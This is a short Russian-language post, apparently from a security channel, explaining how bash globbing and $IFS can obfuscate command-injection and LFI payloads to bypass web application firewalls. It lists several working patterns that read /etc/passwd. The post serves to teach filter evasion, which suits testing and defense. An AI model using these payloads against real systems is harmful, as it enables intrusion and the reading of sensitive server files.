📎 Обход брандмауэра веб-приложений (WAF) с помощью глоббинга



Bash может выполнять подстановку имен файлов, этот процесс называется "globbing", но при этом не используется стандартный набор регулярных выражений.



Если есть WAF (брандмауэр веб-приложений), фильтрующий полезные данные RCE (удаленное выполнение кода) и LFI (включение локального файла), вы можете попытаться обойти его с помощью подстановки.



Вот пример:



/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd



? = любой одиночный символ

* = любая строка, включая строку нулевой длины!

$IFS = внутренний разделитель полей в Unix системах = пробел, табуляция или новая строка



Например, все записи ниже должны выполнять «/bin/cat /etc/passwd» в типичной системе Linux:



/*/?at$IFS/???/???swd

/****/?at$IFS/???/*swd

/****/?at$IFS/???/*******swd



Можете попробовать!



#web